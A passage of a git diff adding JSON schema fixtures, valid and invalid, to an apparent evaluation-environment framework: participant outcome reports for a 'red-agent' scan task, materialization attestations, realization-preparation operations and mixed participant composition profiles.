"sha256:690ecc18d601214a201d3210362030faf8495720d812270cb67925471d57f8c1" + } + ], + "excluded_observation_refs": [], + "correction_basis": null, + "category": "task_completion", + "attainment": "attained", + "knowledge": "supported", + "freshness": "current_at_recorded_cut", + "state_relationships": [] +} diff --git a/contracts/fixtures/participant-runtime/participant-outcome-report-v2/valid/attained-task.json b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/valid/attained-task.json new file mode 100644 index 000000000..7d0a164da --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/valid/attained-task.json @@ -0,0 +1,124 @@ +{ + "event_id": "report-1", + "schema_name": "raes.participant_runtime.outcome_report", + "schema_version": "2.0.0", + "event_type": "participant_outcome_report", + "extension_policy": "closed", + "event_classification": null, + "source_status": null, + "participant_address": "participant.behavior.red-agent", + "episode_id": "episode-1", + "sequence_number": null, + "occurred_at": "2026-05-21T09:00:00Z", + "recorded_at": "2026-05-21T09:00:00Z", + "ingested_at": "2026-05-21T09:00:00Z", + "clock_authority": "control-plane", + "temporal_context": null, + "ordering_basis": "control_plane_order", + "logical_order_ref": null, + "predecessor_event_refs": [], + "actor_ref": "operator", + "producer_ref": "runtime:participant-outcome", + "source_system_ref": null, + "source_record_ref": null, + "source_raw_ref": null, + "source_pipeline": null, + "raw_data_integrity": null, + "confidence": null, + "provenance_refs": [], + "evidence_refs": [ + "evidence.scan-output" + ], + "marking_definition_refs": [], + "object_marking_refs": [], + "markings": [], + "granular_markings": {}, + "redaction_policy_ref": null, + "authorization_scope": "runtime:control", + "outcome_id": "local-task", + "interpretation_rule_ref": "participant.outcome-interpretation-rule.scan-evidence-objective", + "rule_digest": "sha256:898d3994be1b244379c66ccf2357864700b833ce2f69edaa71b7bd3d638a15fe", + "rule_spec": { + "semantic_version": "2.0.0", + "participant_scope": "participant_local", + "observation_point_basis": "terminal participant observation event", + "interpretation_basis": "explicit SEM-215 mapping from local scan evidence to objective/evaluation meaning", + "source_bindings": [ + { + "source_id": "local-action", + "source_layer": "participant_action_outcome", + "ref": "scan", + "interpretation_role": "local action status input", + "evidence_refs": [ + "evidence.scan-output" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "alert-evidence", + "source_layer": "evidence_claim", + "ref": "evidence.alert", + "interpretation_role": "alert evidence input", + "evidence_refs": [ + "evidence.alert" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "scaffold", + "source_layer": "scaffold_variant", + "ref": "scaffold.standard", + "interpretation_role": "benchmark context input", + "evidence_refs": [], + "provenance_refs": [ + "provenance.scaffold.standard" + ], + "diagnostics": [] + } + ], + "target_bindings": [], + "local_outcome": { + "model_version": "1.0.0", + "category": "task_completion", + "criterion_basis": "The declared task requires independently evidenced effects.", + "criteria": [ + { + "criterion_id": "scan", + "source_id": "local-action", + "effect_id": "scan-evidence" + } + ], + "conflict_policy": "retain_until_explicit_correction", + "freshness_policy": "exact_observation_cut", + "episode_policy": "reset_without_transfer" + }, + "evidence_refs": [ + "evidence.alert" + ], + "limitations": [ + "local scan result is not objective success by itself", + "reward remains a derived assessment signal" + ], + "diagnostics": [] + }, + "revision": 1, + "predecessor_event_ref": null, + "behavior_history_length": 3, + "behavior_history_digest": "sha256:c15c5a6f4eed769e460c5f4ae94b824fb177cb3cf5357d2e73c31a0d045d0a36", + "observation_refs": [ + { + "action_instance_id": "scan-0001", + "observation_point": "episode-step:scan-0001:terminal-observation", + "content_digest": "sha256:690ecc18d601214a201d3210362030faf8495720d812270cb67925471d57f8c1" + } + ], + "excluded_observation_refs": [], + "correction_basis": null, + "category": "task_completion", + "attainment": "attained", + "knowledge": "supported", + "freshness": "current_at_recorded_cut", + "state_relationships": [] +} diff --git a/contracts/fixtures/participant-runtime/participant-outcome-report-v2/valid/not-attained.json b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/valid/not-attained.json new file mode 100644 index 000000000..d967fd5a8 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/valid/not-attained.json @@ -0,0 +1,124 @@ +{ + "event_id": "report-1", + "schema_name": "raes.participant_runtime.outcome_report", + "schema_version": "2.0.0", + "event_type": "participant_outcome_report", + "extension_policy": "closed", + "event_classification": null, + "source_status": null, + "participant_address": "participant.behavior.red-agent", + "episode_id": "episode-1", + "sequence_number": null, + "occurred_at": "2026-05-21T09:00:00Z", + "recorded_at": "2026-05-21T09:00:00Z", + "ingested_at": "2026-05-21T09:00:00Z", + "clock_authority": "control-plane", + "temporal_context": null, + "ordering_basis": "control_plane_order", + "logical_order_ref": null, + "predecessor_event_refs": [], + "actor_ref": "operator", + "producer_ref": "runtime:participant-outcome", + "source_system_ref": null, + "source_record_ref": null, + "source_raw_ref": null, + "source_pipeline": null, + "raw_data_integrity": null, + "confidence": null, + "provenance_refs": [], + "evidence_refs": [ + "evidence.scan-output" + ], + "marking_definition_refs": [], + "object_marking_refs": [], + "markings": [], + "granular_markings": {}, + "redaction_policy_ref": null, + "authorization_scope": "runtime:control", + "outcome_id": "local-task", + "interpretation_rule_ref": "participant.outcome-interpretation-rule.scan-evidence-objective", + "rule_digest": "sha256:898d3994be1b244379c66ccf2357864700b833ce2f69edaa71b7bd3d638a15fe", + "rule_spec": { + "semantic_version": "2.0.0", + "participant_scope": "participant_local", + "observation_point_basis": "terminal participant observation event", + "interpretation_basis": "explicit SEM-215 mapping from local scan evidence to objective/evaluation meaning", + "source_bindings": [ + { + "source_id": "local-action", + "source_layer": "participant_action_outcome", + "ref": "scan", + "interpretation_role": "local action status input", + "evidence_refs": [ + "evidence.scan-output" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "alert-evidence", + "source_layer": "evidence_claim", + "ref": "evidence.alert", + "interpretation_role": "alert evidence input", + "evidence_refs": [ + "evidence.alert" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "scaffold", + "source_layer": "scaffold_variant", + "ref": "scaffold.standard", + "interpretation_role": "benchmark context input", + "evidence_refs": [], + "provenance_refs": [ + "provenance.scaffold.standard" + ], + "diagnostics": [] + } + ], + "target_bindings": [], + "local_outcome": { + "model_version": "1.0.0", + "category": "task_completion", + "criterion_basis": "The declared task requires independently evidenced effects.", + "criteria": [ + { + "criterion_id": "scan", + "source_id": "local-action", + "effect_id": "scan-evidence" + } + ], + "conflict_policy": "retain_until_explicit_correction", + "freshness_policy": "exact_observation_cut", + "episode_policy": "reset_without_transfer" + }, + "evidence_refs": [ + "evidence.alert" + ], + "limitations": [ + "local scan result is not objective success by itself", + "reward remains a derived assessment signal" + ], + "diagnostics": [] + }, + "revision": 1, + "predecessor_event_ref": null, + "behavior_history_length": 3, + "behavior_history_digest": "sha256:55016a5f7528cbb9e90578d26ecf7882414d5068f81a44946d803d2585a3588e", + "observation_refs": [ + { + "action_instance_id": "scan-0001", + "observation_point": "episode-step:scan-0001:terminal-observation", + "content_digest": "sha256:261310a935edadfe9bc7064c0f4ece9e3651d83744e3d80e0f25bf3353f6abd7" + } + ], + "excluded_observation_refs": [], + "correction_basis": null, + "category": "task_completion", + "attainment": "not_attained", + "knowledge": "supported", + "freshness": "current_at_recorded_cut", + "state_relationships": [] +} diff --git a/contracts/fixtures/participant-runtime/participant-outcome-report-v2/valid/unknown-after-success.json b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/valid/unknown-after-success.json new file mode 100644 index 000000000..14ae2f333 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/valid/unknown-after-success.json @@ -0,0 +1,122 @@ +{ + "event_id": "report-1", + "schema_name": "raes.participant_runtime.outcome_report", + "schema_version": "2.0.0", + "event_type": "participant_outcome_report", + "extension_policy": "closed", + "event_classification": null, + "source_status": null, + "participant_address": "participant.behavior.red-agent", + "episode_id": "episode-1", + "sequence_number": null, + "occurred_at": "2026-05-21T09:00:00Z", + "recorded_at": "2026-05-21T09:00:00Z", + "ingested_at": "2026-05-21T09:00:00Z", + "clock_authority": "control-plane", + "temporal_context": null, + "ordering_basis": "control_plane_order", + "logical_order_ref": null, + "predecessor_event_refs": [], + "actor_ref": "operator", + "producer_ref": "runtime:participant-outcome", + "source_system_ref": null, + "source_record_ref": null, + "source_raw_ref": null, + "source_pipeline": null, + "raw_data_integrity": null, + "confidence": null, + "provenance_refs": [], + "evidence_refs": [], + "marking_definition_refs": [], + "object_marking_refs": [], + "markings": [], + "granular_markings": {}, + "redaction_policy_ref": null, + "authorization_scope": "runtime:control", + "outcome_id": "local-task", + "interpretation_rule_ref": "participant.outcome-interpretation-rule.scan-evidence-objective", + "rule_digest": "sha256:898d3994be1b244379c66ccf2357864700b833ce2f69edaa71b7bd3d638a15fe", + "rule_spec": { + "semantic_version": "2.0.0", + "participant_scope": "participant_local", + "observation_point_basis": "terminal participant observation event", + "interpretation_basis": "explicit SEM-215 mapping from local scan evidence to objective/evaluation meaning", + "source_bindings": [ + { + "source_id": "local-action", + "source_layer": "participant_action_outcome", + "ref": "scan", + "interpretation_role": "local action status input", + "evidence_refs": [ + "evidence.scan-output" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "alert-evidence", + "source_layer": "evidence_claim", + "ref": "evidence.alert", + "interpretation_role": "alert evidence input", + "evidence_refs": [ + "evidence.alert" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "scaffold", + "source_layer": "scaffold_variant", + "ref": "scaffold.standard", + "interpretation_role": "benchmark context input", + "evidence_refs": [], + "provenance_refs": [ + "provenance.scaffold.standard" + ], + "diagnostics": [] + } + ], + "target_bindings": [], + "local_outcome": { + "model_version": "1.0.0", + "category": "task_completion", + "criterion_basis": "The declared task requires independently evidenced effects.", + "criteria": [ + { + "criterion_id": "scan", + "source_id": "local-action", + "effect_id": "scan-evidence" + } + ], + "conflict_policy": "retain_until_explicit_correction", + "freshness_policy": "exact_observation_cut", + "episode_policy": "reset_without_transfer" + }, + "evidence_refs": [ + "evidence.alert" + ], + "limitations": [ + "local scan result is not objective success by itself", + "reward remains a derived assessment signal" + ], + "diagnostics": [] + }, + "revision": 1, + "predecessor_event_ref": null, + "behavior_history_length": 3, + "behavior_history_digest": "sha256:075fafab929a91210459fefea40ef83375d678e8f1b4733505a32ecc8122086e", + "observation_refs": [ + { + "action_instance_id": "scan-0001", + "observation_point": "episode-step:scan-0001:terminal-observation", + "content_digest": "sha256:d6ce4222518500aed76acc558ee49a2d45d1a59c60f2a03bf597c6e418421d0b" + } + ], + "excluded_observation_refs": [], + "correction_basis": null, + "category": "task_completion", + "attainment": "undetermined", + "knowledge": "unknown", + "freshness": "current_at_recorded_cut", + "state_relationships": [] +} diff --git a/contracts/fixtures/plans/backend-augmentation-scope-v1/invalid/partial-coverage.json b/contracts/fixtures/plans/backend-augmentation-scope-v1/invalid/partial-coverage.json new file mode 100644 index 000000000..dbae07db8 --- /dev/null +++ b/contracts/fixtures/plans/backend-augmentation-scope-v1/invalid/partial-coverage.json @@ -0,0 +1,7 @@ +{ + "contract_id": "backend-augmentation-scope-v1", + "coverage_profile": "partial", + "binding_digest": "sha256:0000000000000000000000000000000000000000000000000000000000000000", + "content": "{\"name\":\"scope-preview\"}", + "effects": [] +} diff --git a/contracts/fixtures/plans/backend-augmentation-scope-v1/valid/reference.json b/contracts/fixtures/plans/backend-augmentation-scope-v1/valid/reference.json new file mode 100644 index 000000000..b031e4576 --- /dev/null +++ b/contracts/fixtures/plans/backend-augmentation-scope-v1/valid/reference.json @@ -0,0 +1,7 @@ +{ + "contract_id": "backend-augmentation-scope-v1", + "coverage_profile": "raes-materialization-effects/v1", + "binding_digest": "sha256:0000000000000000000000000000000000000000000000000000000000000000", + "content": "{\"name\":\"scope-preview\",\"nodes\":{\"host\":{\"type\":\"compute\"}},\"augmentation_scope\":{\"default\":\"closed\"}}", + "effects": [] +} diff --git a/contracts/fixtures/plans/backend-materialization-attestation-v1/invalid/wrong-phase.json b/contracts/fixtures/plans/backend-materialization-attestation-v1/invalid/wrong-phase.json new file mode 100644 index 000000000..36116c231 --- /dev/null +++ b/contracts/fixtures/plans/backend-materialization-attestation-v1/invalid/wrong-phase.json @@ -0,0 +1,4 @@ +{ + "contract_id": "backend-materialization-attestation-v0", + "sdl": "name: materialized-example\nmaterialization_provenance:\n profile: raes-materialization-attestation/v1\n attestation_id: materialization-1\n authored_digest:\n profile: raes-sdl-semantic/v2\n algorithm: sha256\n value: sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n instantiated_digest:\n profile: raes-sdl-instantiated-snapshot/v2\n algorithm: sha256\n value: sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n plan_digest: sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\n predecessor_digest: sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd\n operation_id: operation-1\n run_id: run-1\n recorded_at: '2026-09-14T12:00:00Z'\n boundary: post-materialization\n producer:\n name: test-backend\n version: 1.0.0\n configuration_digest: sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\n manifest_digest: sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n coverage_profile: raes-materialization-effects/v1\n origins: []\n resource_bindings: []\n" +} diff --git a/contracts/fixtures/plans/backend-materialization-attestation-v1/valid/reference.json b/contracts/fixtures/plans/backend-materialization-attestation-v1/valid/reference.json new file mode 100644 index 000000000..b748dce94 --- /dev/null +++ b/contracts/fixtures/plans/backend-materialization-attestation-v1/valid/reference.json @@ -0,0 +1,4 @@ +{ + "contract_id": "backend-materialization-attestation-v1", + "sdl": "name: materialized-example\nmaterialization_provenance:\n profile: raes-materialization-attestation/v1\n attestation_id: materialization-1\n authored_digest:\n profile: raes-sdl-semantic/v2\n algorithm: sha256\n value: sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n instantiated_digest:\n profile: raes-sdl-instantiated-snapshot/v2\n algorithm: sha256\n value: sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n plan_digest: sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\n predecessor_digest: sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd\n operation_id: operation-1\n run_id: run-1\n recorded_at: '2026-09-14T12:00:00Z'\n boundary: post-materialization\n producer:\n name: test-backend\n version: 1.0.0\n configuration_digest: sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\n manifest_digest: sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n coverage_profile: raes-materialization-effects/v1\n origins: []\n resource_bindings: []\n" +} diff --git a/contracts/fixtures/plans/backend-realization-preparation-v1/invalid/foreign-domain-operation.json b/contracts/fixtures/plans/backend-realization-preparation-v1/invalid/foreign-domain-operation.json new file mode 100644 index 000000000..7740fd7b1 --- /dev/null +++ b/contracts/fixtures/plans/backend-realization-preparation-v1/invalid/foreign-domain-operation.json @@ -0,0 +1,88 @@ +{ + "contract_id": "backend-realization-preparation-v1", + "diagnostics": [], + "operations": [ + { + "action": "create", + "address": "orchestration.script.main", + "ordering_dependencies": [], + "payload": { + "architecture": "", + "count": null, + "domain_topology": null, + "name": "host", + "network_namespace_target": "", + "node_kind": "compute", + "node_name": "host", + "os_distribution": "", + "os_family": "", + "os_version": "", + "spec": { + "infrastructure": {}, + "node": { + "architecture": null, + "asset_value": null, + "conditions": {}, + "description": "", + "endpoint_persona": null, + "features": {}, + "injects": {}, + "os": null, + "os_distribution": null, + "os_version": "", + "resources": null, + "roles": {}, + "runtime": { + "app_authorizations": [], + "applications": [], + "container": null, + "database_services": [ + { + "database_service_id": "db", + "engine": "sqlite" + } + ], + "datastore_services": [], + "dependency_manifests": [], + "dns_services": [], + "environment": [], + "environment_files": [], + "file_services": [], + "filesystem_inventory": [], + "forwarding_agents": [], + "identity_authorities": [], + "linux_capabilities": null, + "local_control_interfaces": [], + "local_identity": null, + "mail_services": [], + "mounts": [], + "network": null, + "network_detection_engines": [], + "network_sensors": [], + "operational_policy": null, + "orchestration_authorities": [], + "packages": [], + "platform_applications": [], + "processes": [], + "repository_state": null, + "scheduled_jobs": [], + "security_monitoring_managers": [], + "service_listeners": [], + "service_manager_units": [], + "software_components": [], + "ssh_servers": [] + }, + "services": [], + "source": null, + "type": "compute" + } + } + }, + "refresh_dependencies": [], + "resource_type": "node" + } + ], + "predecessor_digest": "sha256:4a9a06a5df6fa95ac1149b786948d7f4d82d439c03ef414558311849d9ae4981", + "request_digest": "sha256:a848b81883f731fa3e730089f83e08b1655f4bd7394832003b8ecde62173b040", + "success": true +} diff --git a/contracts/fixtures/plans/backend-realization-preparation-v1/valid/selected-database-service.json b/contracts/fixtures/plans/backend-realization-preparation-v1/valid/selected-database-service.json new file mode 100644 index 000000000..d8549b961 --- /dev/null +++ b/contracts/fixtures/plans/backend-realization-preparation-v1/valid/selected-database-service.json @@ -0,0 +1,88 @@ +{ + "contract_id": "backend-realization-preparation-v1", + "diagnostics": [], + "operations": [ + { + "action": "create", + "address": "provision.node.host", + "ordering_dependencies": [], + "payload": { + "architecture": "", + "count": null, + "domain_topology": null, + "name": "host", + "network_namespace_target": "", + "node_kind": "compute", + "node_name": "host", + "os_distribution": "", + "os_family": "", + "os_version": "", + "spec": { + "infrastructure": {}, + "node": { + "architecture": null, + "asset_value": null, + "conditions": {}, + "description": "", + "endpoint_persona": null, + "features": {}, + "injects": {}, + "os": null, + "os_distribution": null, + "os_version": "", + "resources": null, + "roles": {}, + "runtime": { + "app_authorizations": [], + "applications": [], + "container": null, + "database_services": [ + { + "database_service_id": "db", + "engine": "sqlite" + } + ], + "datastore_services": [], + "dependency_manifests": [], + "dns_services": [], + "environment": [], + "environment_files": [], + "file_services": [], + "filesystem_inventory": [], + "forwarding_agents": [], + "identity_authorities": [], + "linux_capabilities": null, + "local_control_interfaces": [], + "local_identity": null, + "mail_services": [], + "mounts": [], + "network": null, + "network_detection_engines": [], + "network_sensors": [], + "operational_policy": null, + "orchestration_authorities": [], + "packages": [], + "platform_applications": [], + "processes": [], + "repository_state": null, + "scheduled_jobs": [], + "security_monitoring_managers": [], + "service_listeners": [], + "service_manager_units": [], + "software_components": [], + "ssh_servers": [] + }, + "services": [], + "source": null, + "type": "compute" + } + } + }, + "refresh_dependencies": [], + "resource_type": "node" + } + ], + "predecessor_digest": "sha256:4a9a06a5df6fa95ac1149b786948d7f4d82d439c03ef414558311849d9ae4981", + "request_digest": "sha256:a848b81883f731fa3e730089f83e08b1655f4bd7394832003b8ecde62173b040", + "success": true +} diff --git a/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/alternative-fallback-pool.json b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/alternative-fallback-pool.json new file mode 100644 index 000000000..a2b73cf11 --- /dev/null +++ b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/alternative-fallback-pool.json @@ -0,0 +1,279 @@ +{ + "allocations": { + "allocation.action": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.action", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "actions.alice.inspect", + "target_kind": "action-family" + }, + "allocation.crossing": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.crossing", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "crossings.alice.status", + "target_kind": "crossing" + }, + "allocation.observation": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.observation", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "observations.target.status", + "target_kind": "observation-source" + }, + "allocation.participant": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.participant", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "participants.alice", + "target_kind": "participant" + }, + "allocation.scope": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.scope", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "nodes.target", + "target_kind": "controlled-scope" + } + }, + "components": { + "emu": { + "apparatus_identity_ref": "apparatus:emu", + "component_id": "emu", + "manifest_ref": { + "ref_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ref_id": "emu", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "emu", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:emu", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "envelope_id": "envelope:emu", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "emulation-or-operation" + }, + "sim": { + "apparatus_identity_ref": "apparatus:sim", + "component_id": "sim", + "manifest_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "sim", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "sim", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:sim", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "envelope_id": "envelope:sim", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "simulation" + } + }, + "composition_mode": "alternative", + "contract_id": "mixed-participant-composition-profile-v1", + "control_loop_posture": "closed-loop", + "edges": { + "edge.sim-to-emu": { + "audience_scope_ref": "audience:alice", + "authority_ref": "authority:edge", + "controller_ref": "controller:operator", + "crossing_scope_address": "crossings.alice.status", + "crossing_subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode:1", + "participant_address": "participants.alice", + "subject_digest": null, + "subject_kind": "participant-observation", + "subject_ref": "observation:status", + "subject_revision": "7" + }, + "disclosure_authority_ref": "authority:disclosure", + "edge_id": "edge.sim-to-emu", + "evidence_bindings": [ + { + "evidence_ref": "evidence:edge-realization", + "obligation_ref": "obligation:edge-realization" + } + ], + "failure_behavior": { + "disposition": "fail-profile", + "failure_ref": "failure:edge" + }, + "mapping_loss": { + "affected_ref": "observation:status", + "basis_ref": "mapping:basis", + "kind": "semantics_approximated", + "limitation_ref": "limitation:mapping" + }, + "native_ownership_ref": "native-ownership:sim", + "phase_ids": [ + "phase.main" + ], + "policy": { + "decision_cut_ref": "cut:7", + "effective_order": 7, + "policy_decision_ref": "decision:7", + "policy_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "policy_id": "policy:crossing", + "policy_revision": "3", + "valid_from_order": 1, + "valid_until_order": 9 + }, + "routing_ref": "route:portable", + "source_component_id": "sim", + "target_component_id": "emu", + "time_binding": { + "mapping_address": "time.mappings.sim-to-emu", + "ordering_basis": "partial_order", + "source_clock_address": "time.clocks.sim", + "target_clock_address": "time.clocks.emu", + "temporal_coupling": "bounded-asynchronous", + "time_model_digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "time_model_ref": "time-model:composition" + } + } + }, + "federation_membership": "pre-admitted-staged", + "initial_phase_id": "phase.main", + "nested_profile_refs": {}, + "phase_order": [ + "phase.main" + ], + "phases": { + "phase.main": { + "active_allocation_ids": [ + "allocation.participant", + "allocation.scope", + "allocation.action", + "allocation.observation", + "allocation.crossing" + ], + "active_component_ids": [ + "sim", + "emu" + ], + "active_edge_ids": [ + "edge.sim-to-emu" + ], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:phase-realization" + } + ], + "phase_id": "phase.main" + } + }, + "profile_digest": "sha256:4995133e167db304e53342456dde70302bcbd1ba4704ac628f4014446932d42e", + "profile_id": "profile:mixed", + "profile_revision": "mixed-cross-backend-participant-control-v1@rev1", + "scenario_snapshot_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "scenario:authored", + "ref_kind": "scenario-snapshot", + "ref_path": null, + "ref_version": "1" + }, + "schema_version": "mixed-participant-composition-profile/v1", + "semantic_revision": "sem-234/rev1", + "transitions": {}, + "world_assumption": "bounded-open-world" +} diff --git a/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/duplicate-apparatus-identity.json b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/duplicate-apparatus-identity.json new file mode 100644 index 000000000..4247b962f --- /dev/null +++ b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/duplicate-apparatus-identity.json @@ -0,0 +1,279 @@ +{ + "allocations": { + "allocation.action": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.action", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "actions.alice.inspect", + "target_kind": "action-family" + }, + "allocation.crossing": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.crossing", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "crossings.alice.status", + "target_kind": "crossing" + }, + "allocation.observation": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.observation", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "observations.target.status", + "target_kind": "observation-source" + }, + "allocation.participant": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.participant", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "participants.alice", + "target_kind": "participant" + }, + "allocation.scope": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.scope", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "nodes.target", + "target_kind": "controlled-scope" + } + }, + "components": { + "emu": { + "apparatus_identity_ref": "apparatus:sim", + "component_id": "emu", + "manifest_ref": { + "ref_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ref_id": "emu", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "emu", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:emu", + "realization_envelope": { + "configuration_digest": 